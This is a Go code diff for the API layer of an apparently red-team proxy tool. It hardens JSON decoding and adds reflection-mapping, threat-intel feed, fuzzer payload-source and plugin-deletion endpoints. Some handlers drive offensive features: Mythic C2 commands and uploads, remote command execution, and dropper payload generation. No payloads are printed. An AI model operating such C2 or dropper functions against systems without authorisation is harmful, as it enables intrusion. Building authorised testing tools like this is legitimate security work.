@@ -93,6 +93,8 @@ type detectConfigPatch struct {
SkipContentTypes *[]string `json:"skipContentTypes"`
SkipExtensions *[]string `json:"skipExtensions"`
ExcludeHosts *[]string `json:"excludeHosts"`
AnomalyEnabled *bool `json:"anomalyEnabled"`
AnomalySensitivity *string `json:"anomalySensitivity"`
}
// handleSetDetectConfig applies a partial configuration update.
@@ -101,7 +103,7 @@ func (s *APIServer) handleSetDetectConfig(w http.ResponseWriter, r *http.Request
return
}
var patch detectConfigPatch
if err := json.NewDecoder(r.Body).Decode(&patch); err != nil {
if err := decodeJSON(r, &patch); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
@@ -133,6 +135,12 @@ func (s *APIServer) handleSetDetectConfig(w http.ResponseWriter, r *http.Request
if patch.ExcludeHosts != nil {
cfg.ExcludeHosts = *patch.ExcludeHosts
}
if patch.AnomalyEnabled != nil {
cfg.AnomalyEnabled = *patch.AnomalyEnabled
}
if patch.AnomalySensitivity != nil {
cfg.AnomalySensitivity = *patch.AnomalySensitivity
}
s.detectEngine.SetConfig(cfg)
writeJSON(w, http.StatusOK, s.detectEngine.Config())
}
@@ -262,7 +270,7 @@ func (s *APIServer) handleUpdateFinding(w http.ResponseWriter, r *http.Request)
Notes *string `json:"notes"`
Severity *string `json:"severity"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
@@ -451,7 +459,7 @@ func (s *APIServer) handleAddDetectRule(w http.ResponseWriter, r *http.Request)
return
}
var rule detect.Rule
if err := json.NewDecoder(r.Body).Decode(&rule); err != nil {
if err := decodeJSON(r, &rule); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
@@ -473,7 +481,7 @@ func (s *APIServer) handleUpdateDetectRule(w http.ResponseWriter, r *http.Reques
return
}
var rule detect.Rule
if err := json.NewDecoder(r.Body).Decode(&rule); err != nil {
if err := decodeJSON(r, &rule); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
@@ -507,7 +515,7 @@ func (s *APIServer) handleSetDetectRuleEnabled(w http.ResponseWriter, r *http.Re
var body struct {
Enabled bool `json:"enabled"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
@@ -528,7 +536,7 @@ func (s *APIServer) handleSetDetectRuleSeverity(w http.ResponseWriter, r *http.R
var body struct {
Severity string `json:"severity"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
@@ -658,7 +666,7 @@ func (s *APIServer) handleStartDetectScan(w http.ResponseWriter, r *http.Request
}
var req detect.RescanRequest
if r.ContentLength != 0 {
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
if err := decodeJSON(r, &req); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
+222
View File
@@ -0,0 +1,222 @@
package api
import (
"net/http"
"strconv"
"github.com/BishopFox/joro/internal/echo"
)
// echoAvailable rejects requests when reflection mapping is not wired, as in
// listener and team-server mode. The routes are also behind the proxy-mode gate
// in registerRoutes.
func (s *APIServer) echoAvailable(w http.ResponseWriter) bool {
if s.echoEngine == nil || s.echoStore == nil {
writeError(w, http.StatusNotFound, "reflection mapping is unavailable in this mode")
return false
}
return true
}
// handleGetEcho returns everything the tab needs on mount.
func (s *APIServer) handleGetEcho(w http.ResponseWriter, r *http.Request) {
if !s.echoAvailable(w) {
return
}
cfg := s.echoEngine.Config()
writeJSON(w, http.StatusOK, map[string]any{
"enabled": cfg.Enabled,
"config": cfg,
"summary": s.echoStore.Summary(),
"hosts": s.echoStore.Hosts(),
"scan": s.echoEngine.Status(),
})
}
func (s *APIServer) handleSetEchoEnabled(w http.ResponseWriter, r *http.Request) {
if !s.echoAvailable(w) {
return
}
var body struct {
Enabled bool `json:"enabled"`
}
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
s.echoEngine.SetEnabled(body.Enabled)
writeJSON(w, http.StatusOK, map[string]any{"enabled": body.Enabled})
}
func (s *APIServer) handleGetEchoConfig(w http.ResponseWriter, r *http.Request) {
if !s.echoAvailable(w) {
return
}
writeJSON(w, http.StatusOK, s.echoEngine.Config())
}
// echoConfigPatch is a pointer per field so a PUT can carry any subset, as
// detectConfigPatch does.
type echoConfigPatch struct {
Enabled *bool `json:"enabled"`
ScopeOnly *bool `json:"scopeOnly"`
MaxBodyScanBytes *int `json:"maxBodyScanBytes"`
MaxRequestBodyScanBytes *int `json:"maxRequestBodyScanBytes"`
MinValueLen *int `json:"minValueLen"`
MaxValuesPerRequest *int `json:"maxValuesPerRequest"`
MaxReflectionsPerRequest *int `json:"maxReflectionsPerRequest"`
TransformDepth *int `json:"transformDepth"`
Base64 *bool `json:"base64"`
ScanHeaders *bool `json:"scanHeaders"`
ExcludeHosts *[]string `json:"excludeHosts"`
}
func (s *APIServer) handleSetEchoConfig(w http.ResponseWriter, r *http.Request) {
if !s.echoAvailable(w) {
return
}
var p echoConfigPatch
if err := decodeJSON(r, &p); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
cfg := s.echoEngine.Config()
setBool(&cfg.Enabled, p.Enabled)
setBool(&cfg.ScopeOnly, p.ScopeOnly)
setInt(&cfg.MaxBodyScanBytes, p.MaxBodyScanBytes)
setInt(&cfg.MaxRequestBodyScanBytes, p.MaxRequestBodyScanBytes)
setInt(&cfg.MinValueLen, p.MinValueLen)
setInt(&cfg.MaxValuesPerRequest, p.MaxValuesPerRequest)
setInt(&cfg.MaxReflectionsPerRequest, p.MaxReflectionsPerRequest)
setInt(&cfg.TransformDepth, p.TransformDepth)
setBool(&cfg.Base64, p.Base64)
setBool(&cfg.ScanHeaders, p.ScanHeaders)
if p.ExcludeHosts != nil {
cfg.ExcludeHosts = *p.ExcludeHosts
}
s.echoEngine.SetConfig(cfg)
writeJSON(w, http.StatusOK, s.echoEngine.Config())
}
func setBool(dst *bool, v *bool) {
if v != nil {
*dst = *v
}
}
func setInt(dst *int, v *int) {
if v != nil {
*dst = *v
}
}
// handleListEchoParams returns a page of the map.
func (s *APIServer) handleListEchoParams(w http.ResponseWriter, r *http.Request) {
if !s.echoAvailable(w) {
return
}
q := r.URL.Query()
f := echo.Filter{
Host: q.Get("host"),
Sources: splitCSV(q.Get("source")),
Contexts: splitCSV(q.Get("context")),
Transforms: splitCSV(q.Get("transform")),
BreakoutOnly: q.Get("breakout") == "true",
Search: q.Get("search"),
Sort: q.Get("sort"),
Dir: q.Get("dir"),
Limit: 100,
}
if v, err := strconv.Atoi(q.Get("offset")); err == nil && v >= 0 {
f.Offset = v
}
if q.Has("limit") {
if v, err := strconv.Atoi(q.Get("limit")); err == nil {
f.Limit = v
}
}
items, total := s.echoStore.List(f)
writeJSON(w, http.StatusOK, map[string]any{
"items": items, "total": total, "offset": f.Offset, "limit": f.Limit,
})
}
// handleGetEchoParam returns one row with its recent reflections.
func (s *APIServer) handleGetEchoParam(w http.ResponseWriter, r *http.Request) {
if !s.echoAvailable(w) {
return
}
e, ok := s.echoStore.Entry(r.PathValue("id"))
if !ok {
writeError(w, http.StatusNotFound, "no such parameter")
return
}
writeJSON(w, http.StatusOK, e)
}
// handleGetEchoRequest returns one message's report, for the History pane. A
// request with no report is not an error: it may predate the feature being
// switched on, which the empty report says plainly.
func (s *APIServer) handleGetEchoRequest(w http.ResponseWriter, r *http.Request) {
if !s.echoAvailable(w) {
return
}
id := r.PathValue("requestId")
rep, ok := s.echoStore.Report(id)
if !ok {
writeJSON(w, http.StatusOK, map[string]any{
"requestId": id, "analyzed": false, "reflections": []any{},
})
return
}
writeJSON(w, http.StatusOK, map[string]any{
"requestId": id, "analyzed": true, "report": rep,
})
}
func (s *APIServer) handleClearEcho(w http.ResponseWriter, r *http.Request) {
if !s.echoAvailable(w) {
return
}
s.echoStore.Clear()
writeJSON(w, http.StatusOK, map[string]any{"cleared": true})
}
// handleStartEchoScan backfills the map from captured history. This is the
// common path: the feature is switched on after the interesting traffic has
// already been captured.
func (s *APIServer) handleStartEchoScan(w http.ResponseWriter, r *http.Request) {
if !s.echoAvailable(w) {
return
}
var req echo.RescanRequest
if err := decodeJSONOptional(r, &req, maxJSONBody); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
status, err := s.echoEngine.StartRescan(s.detectBackgroundCtx(), req)
if err == echo.ErrScanRunning {
writeError(w, http.StatusConflict, err.Error())
return
}
if err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
writeJSON(w, http.StatusOK, status)
}
func (s *APIServer) handleGetEchoScan(w http.ResponseWriter, r *http.Request) {
if !s.echoAvailable(w) {
return
}
writeJSON(w, http.StatusOK, s.echoEngine.Status())
}
func (s *APIServer) handleCancelEchoScan(w http.ResponseWriter, r *http.Request) {
if !s.echoAvailable(w) {
return
}
s.echoEngine.Cancel()
writeJSON(w, http.StatusOK, s.echoEngine.Status())
}
+1 -2
View File
@@ -1,7 +1,6 @@
package api
import (
"encoding/json"
"net/http"
"github.com/BishopFox/joro/internal/proxy"
@@ -15,7 +14,7 @@ func (s *APIServer) handleExecute(w http.ResponseWriter, r *http.Request) {
AuthKey string `json:"authKey"`
Command string `json:"command"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
+103
View File
@@ -0,0 +1,103 @@
package api
import (
"net/http"
"time"
"github.com/BishopFox/joro/internal/feeds"
)
// The threat-intel feed control plane. UI-only, proxy-mode only.
//
// Routes are registered unconditionally and gated here on requireFeeds, for the same reason
// the webhook and automation planes are: an unregistered route falls through to the SPA
// catch-all and answers 200 with HTML rather than 404 with JSON. There are no secrets to
// redact — a feed snapshot is public intelligence — so unlike webhooks every field goes out
// as stored.
// requireFeeds reports whether the aggregator is available, writing the JSON 404 if not. The
// message names which off-state it is: --no-feeds (a posture) versus an unreadable feeds.json
// (a fault).
func (s *APIServer) requireFeeds(w http.ResponseWriter) *feeds.Aggregator {
if s.cfg.NoFeeds {
writeError(w, http.StatusNotFound,
"threat-intel feeds are disabled on this instance; it was started with --no-feeds")
return nil
}
if s.feeds == nil || s.feedsStore == nil {
writeError(w, http.StatusNotFound,
"threat-intel feeds are unavailable on this instance; see the startup log for why "+
"~/.joro/feeds.json could not be read")
return nil
}
return s.feeds
}
// feedsResponse is the whole feed view: the operator's settings plus the current snapshot.
type feedsResponse struct {
Settings feeds.State `json:"settings"`
Snapshot feeds.Snapshot `json:"snapshot"`
}
// handleGetFeeds returns settings + snapshot. Served even while feeds are disabled (Enabled
// false, empty items), so the UI can render its "enable" state from one call.
func (s *APIServer) handleGetFeeds(w http.ResponseWriter, r *http.Request) {
agg := s.requireFeeds(w)
if agg == nil {
return
}
writeJSON(w, http.StatusOK, feedsResponse{
Settings: s.feedsStore.Get(),
Snapshot: agg.Snapshot(),
})
}
func (s *APIServer) handleGetFeedsSettings(w http.ResponseWriter, r *http.Request) {
if s.requireFeeds(w) == nil {
return
}
writeJSON(w, http.StatusOK, s.feedsStore.Get())
}
// handleSetFeedsSettings validates and persists settings (the store floors the interval), and
// on an off->on flip kicks an immediate refresh so the dashboard fills without waiting for the
// loop's next pass.
func (s *APIServer) handleSetFeedsSettings(w http.ResponseWriter, r *http.Request) {
if s.requireFeeds(w) == nil {
return
}
var in feeds.State
if err := decodeJSON(r, &in); err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
prev := s.feedsStore.Get()
next, err := s.feedsStore.Set(in)
if err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
if next.Enabled && !prev.Enabled {
go s.refreshFeedsTick(s.feedsContext())
}
writeJSON(w, http.StatusOK, next)
}
// handleRefreshFeeds triggers an out-of-band refresh, debounced server-side so a UI button
// cannot push NVD past its rate limit regardless of the client.
func (s *APIServer) handleRefreshFeeds(w http.ResponseWriter, r *http.Request) {
agg := s.requireFeeds(w)
if agg == nil {
return
}
if !s.feedsStore.Get().Enabled {
writeError(w, http.StatusConflict, "threat-intel feeds are turned off; enable them first")
return
}
if !agg.TryBeginManual(60 * time.Second) {
writeError(w, http.StatusTooManyRequests, "feeds were refreshed moments ago; try again shortly")
return
}
go s.refreshFeedsTick(s.feedsContext())
writeJSON(w, http.StatusAccepted, map[string]string{"status": "refreshing"})
}
+116 -19
View File
@@ -5,7 +5,6 @@ import (
"bytes"
"context"
"encoding/base64"
"encoding/json"
"fmt"
"net/http"
"strconv"
@@ -23,6 +22,8 @@ type fuzzerStartRequest struct {
Host string `json:"host"`
Wordlist []string `json:"wordlist"` // Single-position wordlist
Wordlists map[string][]string `json:"wordlists,omitempty"` // Multi-position: position → wordlist
Source *fuzzer.PayloadSource `json:"source,omitempty"` // Single-position / spray: a built-in list or generator, resolved server-side
Sources map[string]fuzzer.PayloadSource `json:"sources,omitempty"` // Split/yolo: a source per position; absent ones fall back to Wordlists
AttackMode string `json:"attackMode,omitempty"` // spray, split, yolo
Threads int `json:"threads"`
RateLimit float64 `json:"rateLimit"`
@@ -38,7 +39,8 @@ type fuzzerStartRequest struct {
func (s *APIServer) handleFuzzerStart(w http.ResponseWriter, r *http.Request) {
var req fuzzerStartRequest
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
// Bulk: Wordlist/Wordlists arrive inline, sourced from an upload capped at 50 MB.
if err := decodeJSONLimit(r, &req, maxBulkJSONBody); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
@@ -93,12 +95,22 @@ func (s *APIServer) handleFuzzerStart(w http.ResponseWriter, r *http.Request) {
}
if len(positions) <= 1 {
// Single-position mode
if len(req.Wordlist) == 0 {
writeError(w, http.StatusBadRequest, "wordlist is empty")
return
// Single-position mode. A source (built-in list or generator) resolves
// server-side; otherwise the inline wordlist is used as-is.
if req.Source != nil {
wl, err := req.Source.Resolve(fuzzer.MaxGeneratedPayloads)
if err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
cfg.Wordlist = wl
} else {
if len(req.Wordlist) == 0 {
writeError(w, http.StatusBadRequest, "wordlist is empty")
return
}
cfg.Wordlist = req.Wordlist
}
cfg.Wordlist = req.Wordlist
} else {
// Multi-position mode
mode := fuzzer.AttackMode(req.AttackMode)
@@ -109,30 +121,46 @@ func (s *APIServer) handleFuzzerStart(w http.ResponseWriter, r *http.Request) {
cfg.AttackMode = mode
if mode == fuzzer.AttackSpray {
// Spray: single wordlist used for all positions
if len(req.Wordlist) == 0 {
writeError(w, http.StatusBadRequest, "wordlist is empty")
return
// Spray: single wordlist (or source) used for all positions
var wl []string
if req.Source != nil {
resolved, err := req.Source.Resolve(fuzzer.MaxGeneratedPayloads)
if err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
wl = resolved
} else {
if len(req.Wordlist) == 0 {
writeError(w, http.StatusBadRequest, "wordlist is empty")
return
}
wl = req.Wordlist
}
cfg.Wordlists = make(map[string][]string, len(positions))
for _, pos := range positions {
cfg.Wordlists[pos] = req.Wordlist
cfg.Wordlists[pos] = wl
}
} else {
// Split/Yolo: require a wordlist for each position
if len(req.Wordlists) == 0 {
writeError(w, http.StatusBadRequest, "wordlists map is required for split/yolo modes")
return
}
// Split/Yolo: each position takes a resolved source or an inline wordlist
cfg.Wordlists = make(map[string][]string, len(positions))
for _, pos := range positions {
if src, ok := req.Sources[pos]; ok {
resolved, err := src.Resolve(fuzzer.MaxGeneratedPayloads)
if err != nil {
writeError(w, http.StatusBadRequest, fmt.Sprintf("position %s: %v", pos, err))
return
}
cfg.Wordlists[pos] = resolved
continue
}
wl, ok := req.Wordlists[pos]
if !ok || len(wl) == 0 {
writeError(w, http.StatusBadRequest, fmt.Sprintf("missing or empty wordlist for position %s", pos))
return
}
_ = wl
cfg.Wordlists[pos] = wl
}
cfg.Wordlists = req.Wordlists
// Safety limit for yolo mode
if mode == fuzzer.AttackYolo {
@@ -302,6 +330,11 @@ func (s *APIServer) handleFuzzerDeleteCampaign(w http.ResponseWriter, r *http.Re
}
func (s *APIServer) handleFuzzerUploadWordlist(w http.ResponseWriter, r *http.Request) {
// Multipart body; see requireLocalOrigin.
if !requireLocalOrigin(w, r) {
return
}
r.Body = http.MaxBytesReader(w, r.Body, 50<<20) // 50MB limit
file, _, err := r.FormFile("file")
@@ -330,3 +363,67 @@ func (s *APIServer) handleFuzzerUploadWordlist(w http.ResponseWriter, r *http.Re
"count": len(lines),
})
}
// handleFuzzerListWordlists returns the catalog of built-in lists and generators.
// Built-in list contents are never sent — only a count — so the picker shows size
// without shipping the payloads twice.
func (s *APIServer) handleFuzzerListWordlists(w http.ResponseWriter, r *http.Request) {
type builtinDTO struct {
ID string `json:"id"`
Label string `json:"label"`
Description string `json:"description"`
Category string `json:"category"`
Count int `json:"count"`
}
lists := fuzzer.BuiltinLists()
builtins := make([]builtinDTO, 0, len(lists))
for _, l := range lists {
builtins = append(builtins, builtinDTO{
ID: l.ID, Label: l.Label, Description: l.Description,
Category: l.Category, Count: len(l.Values),
})
}
writeJSON(w, http.StatusOK, map[string]any{
"builtins": builtins,
"generators": fuzzer.Generators(),
})
}
// handleFuzzerPreviewSource resolves a payload source and returns its size plus a
// small sample, so the editor can show "~N payloads — a, b, c, ..." live. It
// reuses the same resolver and cap as a real campaign start.
func (s *APIServer) handleFuzzerPreviewSource(w http.ResponseWriter, r *http.Request) {
if !requireLocalOrigin(w, r) {
return
}
var src fuzzer.PayloadSource
if err := decodeJSON(r, &src); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
count, err := src.Count()
if err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
resp := map[string]any{
"count": count,
"sample": []string{},
"exceedsLimit": count > fuzzer.MaxGeneratedPayloads, // cannot be run
}
// Only materialize for the sample when the list is small enough that doing so
// on a debounced keystroke is cheap; the count alone covers the rest.
const previewSampleCap = 100_000
if count > 0 && count <= previewSampleCap {
full, err := src.Resolve(previewSampleCap)
if err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
if len(full) > 20 {
full = full[:20]
}
resp["sample"] = full
}
writeJSON(w, http.StatusOK, resp)
}
+1 -2
View File
@@ -2,7 +2,6 @@ package api
import (
"encoding/base64"
"encoding/json"
"fmt"
"net/http"
"net/url"
@@ -19,7 +18,7 @@ func (s *APIServer) handleGenerate(w http.ResponseWriter, r *http.Request) {
BinaryName string `json:"binaryName"` // required when mode=dropper && !inMemory
InMemory bool `json:"inMemory"` // execute in memory without writing to disk
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
+1 -2
View File
@@ -1,7 +1,6 @@
package api
import (
"encoding/json"
"net/http"
)
@@ -20,7 +19,7 @@ func (s *APIServer) handleSetHighlight(w http.ResponseWriter, r *http.Request) {
var body struct {
Color string `json:"color"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
+2 -3
View File
@@ -2,7 +2,6 @@ package api
import (
"context"
"encoding/json"
"fmt"
"log"
"net/http"
@@ -67,7 +66,7 @@ func (s *APIServer) makeInteractCreateInstanceHandler(name string) http.HandlerF
return
}
var config map[string]string
if err := json.NewDecoder(r.Body).Decode(&config); err != nil {
if err := decodeJSON(r, &config); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON body")
return
}
@@ -111,7 +110,7 @@ func (s *APIServer) makeInteractSetEnabledHandler(name string) http.HandlerFunc
var body struct {
Enabled bool `json:"enabled"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON body")
return
}
+16 -5
View File
@@ -2,7 +2,6 @@ package api
import (
"encoding/base64"
"encoding/json"
"net/http"
"time"
@@ -55,7 +54,7 @@ func (s *APIServer) handleToggleIntercept(w http.ResponseWriter, r *http.Request
var body struct {
Enabled bool `json:"enabled"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
@@ -77,7 +76,7 @@ func (s *APIServer) handleToggleInterceptResponses(w http.ResponseWriter, r *htt
var body struct {
Enabled bool `json:"enabled"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
@@ -110,7 +109,13 @@ func (s *APIServer) handleReleaseIntercepts(w http.ResponseWriter, r *http.Reque
var body struct {
Kind string `json:"kind"` // "request" | "response"; empty means both
}
json.NewDecoder(r.Body).Decode(&body) //nolint:errcheck
// Optional: an absent body means both phases. A body that was sent and could not be
// read is reported rather than ignored — silently treating it as absent would release
// both phases when the caller asked for one.
if err := decodeJSONOptional(r, &body, maxJSONBody); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
switch proxy.InterceptKind(body.Kind) {
case proxy.KindRequest, proxy.KindResponse, "":
@@ -130,7 +135,13 @@ func (s *APIServer) handleForwardRequest(w http.ResponseWriter, r *http.Request)
ReqRaw string `json:"reqRaw"` // base64-encoded modified raw request; optional
RespRaw string `json:"respRaw"` // base64-encoded modified raw response; optional
}
json.NewDecoder(r.Body).Decode(&body) //nolint:errcheck
// Bulk, and the whole body is optional: forwarding unmodified sends no fields. A body
// that was sent and could not be read is reported rather than ignored — silently
// treating it as absent would forward the original request the operator had edited.
if err := decodeJSONOptional(r, &body, maxBulkJSONBody); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
var modifiedReq, modifiedResp []byte
if body.ReqRaw != "" {
+2 -2
View File
@@ -2,7 +2,6 @@ package api
import (
"encoding/base64"
"encoding/json"
"fmt"
"net/http"
@@ -20,7 +19,8 @@ type manipulateRequest struct {
func (s *APIServer) handleManipulateSend(w http.ResponseWriter, r *http.Request) {
var req manipulateRequest
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
// Bulk: Raw is a base64'd whole HTTP request, which can carry a file upload.
if err := decodeJSONLimit(r, &req, maxBulkJSONBody); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
+3 -3
View File
@@ -2,7 +2,6 @@ package api
import (
"encoding/base64"
"encoding/json"
"errors"
"net/http"
"time"
@@ -31,7 +30,7 @@ func (s *APIServer) handleManipulateWSConnect(w http.ResponseWriter, r *http.Req
}
var req manipulateWSConnectRequest
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
if err := decodeJSON(r, &req); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
@@ -98,7 +97,8 @@ func (s *APIServer) handleManipulateWSSend(w http.ResponseWriter, r *http.Reques
}
var req manipulateWSSendRequest
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
// Bulk: Payload is a base64'd frame, which has no small upper bound.
if err := decodeJSONLimit(r, &req, maxBulkJSONBody); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
+8 -3
View File
@@ -1,7 +1,6 @@
package api
import (
"encoding/json"
"io"
"net/http"
@@ -24,7 +23,7 @@ func (s *APIServer) handleMythicStatus(w http.ResponseWriter, r *http.Request) {
func (s *APIServer) handleMythicConnect(w http.ResponseWriter, r *http.Request) {
var cfg mythic.Config
if err := json.NewDecoder(r.Body).Decode(&cfg); err != nil {
if err := decodeJSON(r, &cfg); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
@@ -79,7 +78,7 @@ func (s *APIServer) handleMythicCommand(w http.ResponseWriter, r *http.Request)
var body struct {
Input string `json:"input"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
@@ -115,6 +114,12 @@ func (s *APIServer) handleMythicDownload(w http.ResponseWriter, r *http.Request)
// handleMythicUpload registers a file with Mythic and issues an upload task to the
// active callback.
func (s *APIServer) handleMythicUpload(w http.ResponseWriter, r *http.Request) {
// Multipart body; see requireLocalOrigin. Checked before the connection preconditions
// so the outcome does not depend on whether a callback is active.
if !requireLocalOrigin(w, r) {
return
}
if !s.mythicClient.IsConnected() {
writeError(w, http.StatusBadRequest, "not connected to Mythic")
return
+2 -3
View File
@@ -1,7 +1,6 @@
package api
import (
"encoding/json"
"net/http"
"github.com/BishopFox/joro/internal/proxy"
@@ -22,7 +21,7 @@ func (s *APIServer) handleSetNoiseEnabled(w http.ResponseWriter, r *http.Request
var body struct {
Enabled bool `json:"enabled"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
@@ -34,7 +33,7 @@ func (s *APIServer) handleAddNoisePattern(w http.ResponseWriter, r *http.Request
var body struct {
Pattern string `json:"pattern"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
+2 -3
View File
@@ -1,7 +1,6 @@
package api
import (
"encoding/json"
"net/http"
"sort"
"strconv"
@@ -69,7 +68,7 @@ func (s *APIServer) handleCreateNote(w http.ResponseWriter, r *http.Request) {
Content string `json:"content"`
Author string `json:"author"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
@@ -100,7 +99,7 @@ func (s *APIServer) handleUpdateNote(w http.ResponseWriter, r *http.Request) {
var body struct {
Content string `json:"content"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
+68 -8
View File
@@ -2,7 +2,6 @@ package api
import (
"context"
"encoding/json"
"fmt"
"io"
"io/fs"
@@ -90,7 +89,7 @@ func (s *APIServer) makeExtConnectHandler(name string) http.HandlerFunc {
}
var config map[string]string
if err := json.NewDecoder(r.Body).Decode(&config); err != nil {
if err := decodeJSON(r, &config); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON body")
return
}
@@ -140,7 +139,7 @@ func (s *APIServer) makeExtCommandHandler(name string) http.HandlerFunc {
var body struct {
Input string `json:"input"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON body")
return
}
@@ -165,6 +164,11 @@ func (s *APIServer) handleUploadPlugin(w http.ResponseWriter, r *http.Request) {
return
}
// Multipart body; see requireLocalOrigin.
if !requireLocalOrigin(w, r) {
return
}
// 32 MB max upload.
if err := r.ParseMultipartForm(32 << 20); err != nil {
writeError(w, http.StatusBadRequest, "invalid multipart form")
@@ -215,8 +219,14 @@ func (s *APIServer) handleUploadPlugin(w http.ResponseWriter, r *http.Request) {
})
}
// handleDeletePlugin removes a plugin file from the plugins directory.
// A restart is required for the change to take effect.
// handleDeletePlugin removes a plugin file from the plugins directory, and with
// purgeData=true its per-plugin data directory as well.
//
// A plugin that loaded keeps running until a restart, so the response reports
// whether one is needed rather than implying the plugin is gone. Plugin state
// held in user and project configs is never touched: mergePluginStates keeps it
// deliberately, so a config still round-trips through a machine that lacks the
// plugin.
func (s *APIServer) handleDeletePlugin(w http.ResponseWriter, r *http.Request) {
if s.pluginManager == nil {
writeError(w, http.StatusInternalServerError, "plugin manager not initialized")
@@ -228,6 +238,7 @@ func (s *APIServer) handleDeletePlugin(w http.ResponseWriter, r *http.Request) {
writeError(w, http.StatusBadRequest, "filename is required")
return
}
purgeData := r.URL.Query().Get("purgeData") == "true"
// Sanitize: only allow base filenames, no path traversal.
filename = filepath.Base(filename)
@@ -246,6 +257,17 @@ func (s *APIServer) handleDeletePlugin(w http.ResponseWriter, r *http.Request) {
}
}
// The data directory is keyed on the manifest name, which is only readable
// while the plugin is still loaded — resolve it before unlinking. A file that
// failed to load has no name and so no data directory.
pluginName := ""
for _, p := range s.pluginManager.List() {
if p.Filename == filename {
pluginName = p.Name
break
}
}
if err := os.Remove(path); err != nil {
if os.IsNotExist(err) {
writeError(w, http.StatusNotFound, "plugin file not found")
@@ -255,12 +277,50 @@ func (s *APIServer) handleDeletePlugin(w http.ResponseWriter, r *http.Request) {
return
}
writeJSON(w, http.StatusOK, map[string]string{
"filename": filename,
"message": "plugin removed — restart Joro to apply",
restartRequired := s.pluginManager.MarkRemoved(filename)
// Best-effort, like the project delete's browser profile: the plugin file is
// already gone, so failing the request here would report a delete that did
// not happen.
dataPurged := false
if purgeData && pluginName != "" {
dir := s.pluginManager.PluginDataDir(pluginName)
if err := removeDirNoSymlink(dir); err != nil {
log.Printf("[plugins] deleted %q but its data directory remains: %v", filename, err)
} else {
dataPurged = true
}
}
msg := "plugin removed"
if restartRequired {
msg = "plugin removed — restart Joro to unload it"
}
writeJSON(w, http.StatusOK, map[string]any{
"filename": filename,
"restartRequired": restartRequired,
"dataPurged": dataPurged,
"message": msg,
})
}
// removeDirNoSymlink deletes a directory and its contents, refusing to follow a
// symlink — os.RemoveAll through one would empty the target instead. A missing
// directory is success.
func removeDirNoSymlink(dir string) error {
info, err := os.Lstat(dir)
if err != nil {
if os.IsNotExist(err) {
return nil
}
return err
}
if info.Mode()&os.ModeSymlink != 0 {
return fmt.Errorf("%s is a symlink", dir)
}
return os.RemoveAll(dir)
}
